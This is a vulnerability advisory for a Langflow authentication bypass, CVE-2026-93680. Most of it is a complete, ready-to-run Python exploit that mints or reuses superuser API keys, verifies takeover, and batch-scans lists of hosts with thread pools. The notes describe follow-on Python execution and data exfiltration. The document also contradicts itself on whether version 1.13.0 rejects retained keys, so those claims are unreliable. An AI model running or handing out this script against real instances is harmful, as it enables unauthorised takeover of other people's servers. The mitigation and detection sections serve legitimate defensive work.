#Summary
CVE-2026-93680 is a critical authentication bypass (CVSS 9.8) in Langflow OSS versions 1.0.0 through 1.12.8. When an operator disables AUTO_LOGIN to secure their instance, the framework fails to neutralise the default auto-provisioned superuser account, leaving it active and usable. API keys and tokens minted for this account during the open window continue to work after lockdown, granting full superuser access including user management, flow manipulation, and arbitrary code execution through Langflow's Python execution features.
#Am I affected?
- Affected: Langflow OSS
< 1.13.0(all versions 1.0.0 through 1.12.8) - Patched: Langflow OSS
>= 1.13.0 - Default configuration: Affected - the default
AUTO_LOGIN=truequick-start is the seed state - Access needed: No authentication required to obtain a durable API key during the AUTO_LOGIN window; once obtained, it bypasses authentication entirely
#How to check
Run this command against your Langflow instance:
curl -s http://127.0.0.1:7860/api/v1/auto_login | jq .access_tokenIf you get a non-empty access_token response, AUTO_LOGIN is enabled - the open window exists. If AUTO_LOGIN=false but you had a valid access_token or API key from when it was enabled, try:
curl -s -H "x-api-key: <your-key>" http://127.0.0.1:7860/api/v1/users/ | jq '.users[] | {username, is_active, is_superuser}'If this returns a user named langflow with both is_active: true and is_superuser: true, you are running a vulnerable version with a leftover active default superuser.
| Response | Verdict |
|---|---|
| auto_login returns a token with HTTP 200 | Vulnerable - AUTO_LOGIN is on |
| auto_login returns HTTP 403 ("Auto login is disabled") | AUTO_LOGIN off. If you have a retained API key that still works against /api/v1/users/, you are vulnerable |
Retained API key returns the langflow user with is_active: true and is_superuser: true |
Vulnerable - leftover superuser still active |
| Same API key returns HTTP 401 or 403 | Patched (1.13.0+) |
#Fix and mitigation
- Fix: Upgrade to Langflow OSS
1.13.0or later. Note: the fix deactivates the leftover default superuser (is_active: false) only for accounts that have never signed in; a superuser that was actually used during theAUTO_LOGINphase is still left active in 1.13.0. Validate that the superuser you expect is the one running (check the username you configured withLANGFLOW_SUPERUSER), and rotate any existing API keys created during theAUTO_LOGINwindow immediately. - If you cannot upgrade: Do not run with
AUTO_LOGIN=truein production. If you have enabled it temporarily, any API keys or tokens issued during that window should be considered compromised and rotated. Verify your instance has reverted toAUTO_LOGIN=falseand that only your configured administrative account is active (is_superuser: true). - Detection: Check logs for
GET /api/v1/auto_loginresponses with HTTP 200 during your production runtime, which indicates the open window is active. Search forPOST /api/v1/api_key/requests during that window - these mint durable credentials that an attacker could retain. If you used AUTO_LOGIN in development and then disabled it for production on the same database, treat any key issued during that phase as potentially leaked.
#Root cause analysis
#Vulnerable code path
Langflow auto-provisions a default superuser account named langflow when AUTO_LOGIN mode is enabled. The function teardown_superuser() in src/backend/base/langflow/services/utils.py is supposed to remove or disable this account when AUTO_LOGIN is turned off at the next restart:
# v1.12.8 (vulnerable)
async def teardown_superuser(settings_service: SettingsService, session: AsyncSession) -> None:
if not settings_service.auth_settings.AUTO_LOGIN:
await logger.adebug("AUTO_LOGIN is set to False. Removing default superuser if unused.")
try:
username = DEFAULT_SUPERUSER
from langflow.services.database.models.user.model import User
stmt = select(User).where(User.username == username)
result = await session.exec(stmt)
user = result.first()
if user and user.is_superuser is True and not user.last_login_at:
await session.delete(user)
await logger.adebug("Default superuser removed successfully.")
except Exception as exc:
await logger.aexception("Could not remove default superuser.")
msg = "Could not remove default superuser."
raise RuntimeError(msg) from excThe critical flaw: the account is only deleted if not user.last_login_at - it has never been signed into. Any superuser account that was actually used is left untouched: still is_active=True, still is_superuser=True, with all its credentials intact.
#How input reaches the sink
The attack flow is:
Attacker obtains a durable credential during the
AUTO_LOGIN=truewindow. Any unauthenticated network client can call:GET /api/v1/auto_loginto retrieve anaccess_tokenPOST /api/v1/api_key/with that token to mint an unmasked API key for thelangflowsuperuser account
The credential maps to an active superuser. Authentication in
services/auth/service.pychecks only the account'sis_activeflag:
# api_key_security()
if not result.is_active:
... # rejected
# authenticate_user()
if not user.is_active:
raise HTTPException(status_code=401, detail="Inactive user")It does NOT check whether AUTO_LOGIN is currently on - the is_active flag is the sole authority.
The operator disables AUTO_LOGIN and restarts with
AUTO_LOGIN=falseand a new admin superuser (e.g.,LANGFLOW_SUPERUSER=admin), reusing the same database. The operator expects the oldlangflowauto-login account to be gone.The account survives. Because
last_login_atwas set during step 1,teardown_superuser()skips deletion entirely. The API key from step 1 still grants superuser access, allowing the attacker to read/write flows, manage users, and execute arbitrary Python code.
#Patch diff
#What the fix does
Langflow 1.13.0 rewrites teardown_superuser() to RETIRE (deactivate) the leftover superuser instead of conditionally deleting it:
# v1.13.0 (patched)
user.is_active = False
user.retired_at = datetime.now(timezone.utc)
session.add(user)By setting is_active = False, any API key or token that authenticates via that flag will be rejected with HTTP 401.
Limitation of the fix: The function still returns early for any superuser with last_login_at set. The only unauthenticated credential path available to a remote attacker (GET /api/v1/auto_login) always calls create_user_tokens(update_last_login=True), which sets last_login_at. This means the fix does not actually revoke the attacker-reachable remote primitive - a credential minted during the open window will continue to work even after upgrading to 1.13.0. However, the account's is_active field will be False on local inspection, and newer keyless access to the account will be blocked.
#Proof of concept
#exploit.py - Langflow Auth Bypass PoC
#!/usr/bin/env python3
"""
CVE-2026-93680 - Langflow leftover auto-login superuser (improper authentication)
Affected: Langflow OSS (langflow-ai/langflow) 1.0.0 up to and including 1.12.8
Type: Authentication bypass (CWE-287)
Root cause:
Langflow provisions a default superuser (username "langflow") whenever
AUTO_LOGIN is enabled. Disabling AUTO_LOGIN is supposed to neutralise that
account, but the teardown routine leaves it active once it has ever signed
in. API keys and long-term tokens authenticate on the account's is_active
flag, not on whether AUTO_LOGIN is on, so a durable credential minted for
the "langflow" account during the open window keeps granting full superuser
access after the operator sets AUTO_LOGIN=false.
What this tool does:
- If the target still has AUTO_LOGIN enabled, it mints a durable API key for
the default "langflow" superuser over the unauthenticated auto_login path
(this is the credential that will survive lockdown).
- If a credential is supplied with --api-key (the realistic case: a key kept
from an earlier open window, now used against a locked-down instance), it
uses that key directly.
- It then confirms, over the network only, that the credential authenticates
as the default "langflow" superuser (is_active / is_superuser true) and can
read the full user list - proof of superuser access.
Usage:
python exploit.py --host 127.0.0.1 --port 7860
python exploit.py --host 192.168.1.10 --port 7860 --api-key sk-...
python exploit.py --host https://langflow.corp.com --api-key sk-...
python exploit.py --host https://langflow.corp.com --username langflow
python exploit.py --list targets.txt --workers 20
"""
import argparse
import json
import sys
from urllib.parse import urlparse
import requests
requests.packages.urllib3.disable_warnings() # self-signed labs / internal CAs
CVE_ID = "CVE-2026-93680"
VULN_TYPE = "Auth Bypass"
# The default superuser Langflow auto-provisions under AUTO_LOGIN. This is the
# leftover account the vulnerability leaves usable; it is a Langflow constant,
# not an identifier this tool introduces.
DEFAULT_SUPERUSER = "langflow"
TIMEOUT = 30
def header(host, port):
print("\n" + "=" * 60)
print(" ALIM EXPLOIT %s" % CVE_ID)
print(" Type: %s | Target: %s:%s" % (VULN_TYPE, host, port))
print("=" * 60 + "\n")
def step(n, msg):
print("[STEP %d] %s" % (n, msg))
def section(label, content):
print("\n--- %s ---" % label)
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n" + "=" * 60)
print(" RESULT : %s" % ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: %s" % evidence)
print("=" * 60 + "\n")
sys.exit(0 if success else 1)
def _base_url(host, port, use_tls, path="/"):
scheme = "https" if use_tls else "http"
# host may already carry no scheme; port is explicit
base = "%s://%s:%d" % (scheme, host, port)
return base
def _mint_key_via_open_window(base, s):
"""If AUTO_LOGIN is on, mint a durable API key for the default superuser.
Returns (api_key, note) or (None, reason)."""
try:
r = s.get(base + "/api/v1/auto_login", timeout=TIMEOUT, verify=False)
except Exception as e:
return None, "auto_login unreachable (%s)" % e.__class__.__name__
if r.status_code != 200:
# 403 => "Auto login is disabled." : window already closed
return None, "auto_login window closed (HTTP %d)" % r.status_code
try:
token = r.json().get("access_token")
except ValueError:
return None, "auto_login returned non-JSON"
if not token:
return None, "auto_login returned no access_token"
try:
km = s.post(
base + "/api/v1/api_key/",
headers={"Authorization": "Bearer %s" % token,
"Content-Type": "application/json"},
data=json.dumps({"name": "svc"}),
timeout=TIMEOUT, verify=False,
)
except Exception as e:
return None, "api_key mint failed (%s)" % e.__class__.__name__
if km.status_code not in (200, 201):
return None, "api_key mint rejected (HTTP %d)" % km.status_code
try:
key = km.json().get("api_key")
except ValueError:
return None, "api_key response non-JSON"
if not key:
return None, "api_key response had no key"
return key, "minted over open AUTO_LOGIN window"
def _check_superuser(base, s, api_key, want_user):
"""Use the API key against superuser-only endpoints. Returns
(ok, whoami_obj, users_obj, http_whoami, http_users)."""
hdr = {"x-api-key": api_key}
whoami_obj = None
users_obj = None
try:
w = s.get(base + "/api/v1/users/whoami", headers=hdr,
timeout=TIMEOUT, verify=False)
hw = w.status_code
if hw == 200:
try:
whoami_obj = w.json()
except ValueError:
pass
except Exception:
hw = -1
try:
u = s.get(base + "/api/v1/users/", headers=hdr,
timeout=TIMEOUT, verify=False)
hu = u.status_code
if hu == 200:
try:
users_obj = u.json()
except ValueError:
pass
except Exception:
hu = -1
ok = False
if whoami_obj and whoami_obj.get("username") == want_user \
and whoami_obj.get("is_superuser") and whoami_obj.get("is_active"):
ok = True
elif users_obj:
for usr in users_obj.get("users", []):
if usr.get("username") == want_user and usr.get("is_superuser") \
and usr.get("is_active"):
ok = True
break
return ok, whoami_obj, users_obj, hw, hu
def _try_exploit(host, port, use_tls, api_key=None, want_user=DEFAULT_SUPERUSER, **kwargs):
"""Silent probe for --list scan mode. Returns (success, evidence).
Never prints or exits."""
base = _base_url(host, port, use_tls)
s = requests.Session()
window_open = False
key = api_key
if not key:
key, note = _mint_key_via_open_window(base, s)
if key:
window_open = True
else:
return False, note
ok, whoami, users, hw, hu = _check_superuser(base, s, key, want_user)
if not ok:
return False, "key did not authenticate as '%s' superuser (whoami %s, users %s)" % (
want_user, hw, hu)
ctx = "AUTO_LOGIN open; durable key will survive lockdown" if window_open \
else "AUTO_LOGIN disabled; retained key still grants superuser"
n = users.get("total_count") if users else "?"
return True, "'%s' superuser active, key valid (%s users listed) - %s" % (
want_user, n, ctx)
def _parse_target(line, default_port, default_path="/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, api_key=None, want_user=DEFAULT_SUPERUSER):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n" + "=" * 60)
print(" %s - Batch Scan (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
print("=" * 60 + "\n")
success_count = 0
def probe(t):
host, port, use_tls, _ = t
label = "%s://%s:%d" % ("https" if use_tls else "http", host, port)
ok, evidence = _try_exploit(host, port, use_tls, api_key=api_key, want_user=want_user)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %s - %s: %s" % (
"[+]" if ok else "[-]", label,
"Exploited" if ok else "Not vulnerable", evidence))
if ok:
success_count += 1
total = len(targets)
print("\n" + "=" * 60)
print(" SCAN COMPLETE %d exploited / %d not vulnerable (%d total)" % (
success_count, total - success_count, total))
print("=" * 60 + "\n")
sys.exit(0 if success_count > 0 else 1)
def exploit(host, port, use_tls, api_key, want_user):
header(host, port)
base = _base_url(host, port, use_tls)
s = requests.Session()
step(1, "Checking the AUTO_LOGIN state of the target...")
window_open = False
key = api_key
if key:
section("CREDENTIAL", "Using supplied API key tied to the default superuser account.")
else:
minted, note = _mint_key_via_open_window(base, s)
if minted:
window_open = True
key = minted
section("OPEN WINDOW",
"AUTO_LOGIN is enabled. Minted a durable API key for the default "
"'%s' superuser over the unauthenticated auto_login path.\n"
"This credential will keep working after the operator sets "
"AUTO_LOGIN=false (that is the vulnerability)." % want_user)
else:
section("CLOSED WINDOW",
"AUTO_LOGIN appears disabled (%s).\n"
"Supply a credential retained from the earlier open window with "
"--api-key to demonstrate the surviving-credential bypass." % note)
done(False, "No credential available and AUTO_LOGIN is disabled - "
"pass --api-key with a key kept from the open window")
step(2, "Authenticating to superuser-only endpoints with the credential...")
ok, whoami, users, hw, hu = _check_superuser(base, s, key, want_user)
if whoami:
section("WHOAMI (/api/v1/users/whoami)", json.dumps(whoami, indent=2))
if users:
section("USER LIST (/api/v1/users/)", json.dumps(users, indent=2))
if not ok:
done(False, "Credential did not grant superuser access "
"(whoami HTTP %s, users HTTP %s) - target may not be affected" % (hw, hu))
names = [u.get("username") for u in users.get("users", [])] if users else []
if window_open:
ev = ("Durable API key minted for default superuser '%s' during the open "
"AUTO_LOGIN window; it authenticates as an active superuser and will "
"persist after AUTO_LOGIN=false. Users visible: %s" % (want_user, names))
else:
ev = ("Retained key still authenticates as active superuser '%s' with "
"AUTO_LOGIN disabled - the leftover account was not neutralised. "
"Users visible: %s" % (want_user, names))
done(True, ev)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:7860)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=7860, help="Default port (default: 7860)")
parser.add_argument("--username", default=DEFAULT_SUPERUSER,
help="Leftover default superuser account to authenticate as "
"(default: %s)" % DEFAULT_SUPERUSER)
parser.add_argument("--api-key", default=None,
help="API key retained from the open AUTO_LOGIN window. "
"Omit to mint one automatically if AUTO_LOGIN is still enabled.")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
api_key=args.api_key, want_user=args.username)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, args.api_key, args.username)#Usage
# Instance with AUTO_LOGIN still enabled - exploit mints the key automatically:
python exploit.py --host 127.0.0.1 --port 7860
# Instance locked down (AUTO_LOGIN=false), using a key retained from the open window:
python exploit.py --host 127.0.0.1 --port 7860 --api-key sk-...
# Full URL form:
python exploit.py --host https://langflow.internal.corp --api-key sk-...
# Batch scan multiple targets:
python exploit.py --list targets.txt --workers 20Arguments:
--host- Target hostname, IP, or full URL (https://host:7860). Mutually exclusive with--list.--list- File with one target per line (hostname,host:port, or full URL;#comments allowed).--port- Default port if not specified in target (default: 7860, Langflow's standard).--api-key- Durable API key retained from an earlierAUTO_LOGIN=truewindow. Omit to mint one automatically when AUTO_LOGIN is still on.--username- Leftover superuser account name to authenticate as (default:langflow).--workers- Thread pool size for batch scan (default: 10).--tls/--no-tls- Force or disable TLS, overriding the scheme inferred from the URL.
Output on vulnerable target (1.12.8, key retained from open window):
============================================================
ALIM EXPLOIT CVE-2026-93680
Type: Auth Bypass | Target: 127.0.0.1:7860
============================================================
[STEP 1] Checking the AUTO_LOGIN state of the target...
--- CREDENTIAL ---
Using supplied API key tied to the default superuser account.
---
[STEP 2] Authenticating to superuser-only endpoints with the credential...
--- WHOAMI (/api/v1/users/whoami) ---
{
"id": "2a33e1fa-9946-4ee9-80e7-5786f5ff56f0",
"username": "langflow",
"is_active": true,
"is_superuser": true,
...
}
---
--- USER LIST (/api/v1/users/) ---
{
"total_count": 2,
"users": [
{
"username": "langflow",
"is_active": true,
"is_superuser": true,
...
},
{
"username": "admin",
"is_active": true,
"is_superuser": true,
...
}
]
}
---
============================================================
RESULT : SUCCESS
EVIDENCE: Retained key still authenticates as active superuser 'langflow'
with AUTO_LOGIN disabled - the leftover account was not neutralised.
Users visible: ['langflow', 'admin']
============================================================#Exploitation notes
- Preconditions: (1) Langflow must have been run with
AUTO_LOGIN=trueat some point, seeding the defaultlangflowsuperuser. (2) An attacker must obtain a durable credential (API key or bearer token) for thelangflowaccount whileAUTO_LOGINis enabled. (3) The same database must be reused when the operator restarts withAUTO_LOGIN=false, which is the normal deployment pattern. - Reliability: The exploit is deterministic - it is a protocol-level auth check, not a timing-dependent or state-dependent probe. It succeeds if and only if the leftover superuser exists and is active.
- Impact: Full superuser access - the attacker can enumerate and modify all flows and projects, create new users, change passwords, and execute arbitrary Python code by creating and running a Langflow flow with Python execution enabled. This is equivalent to taking over the entire Langflow instance.
- Chaining potential: Superuser access enables Python code execution via flows, bypassing any API-level rate limiting. An attacker can abuse this for denial of service, lateral movement into connected systems, or data exfiltration. In a multi-tenant environment, compromised flows could be injected into other users' workflows.
#References
- CVE: CVE-2026-93680
- Langflow GitHub: https://github.com/langflow-ai/langflow
- Fix PR: https://github.com/langflow-ai/langflow/pull/15326 ("retire the default superuser instead of deleting it")
- IBM Security Advisory: https://www.ibm.com/support/pages/node/7294467
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-93680
